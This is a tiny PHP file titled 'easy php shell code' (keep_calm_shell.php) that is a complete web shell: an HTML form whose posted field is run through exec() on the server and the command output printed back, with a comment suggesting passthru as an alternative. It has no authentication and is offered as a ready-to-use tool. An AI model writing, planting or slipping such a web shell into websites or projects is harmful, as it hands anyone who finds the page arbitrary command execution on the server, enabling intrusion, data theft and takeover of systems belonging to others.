easy php shell code

keep_calm_shell.php

<form action="" method="post">
	<input type="text" name="calistir">
	<input type="submit">
</form>
<?php

if(isset($_POST["calistir"])){

	$calistir = exec($_POST["calistir"]);
	echo "<pre>".$calistir."</pre>";

}

// passthru  veya exec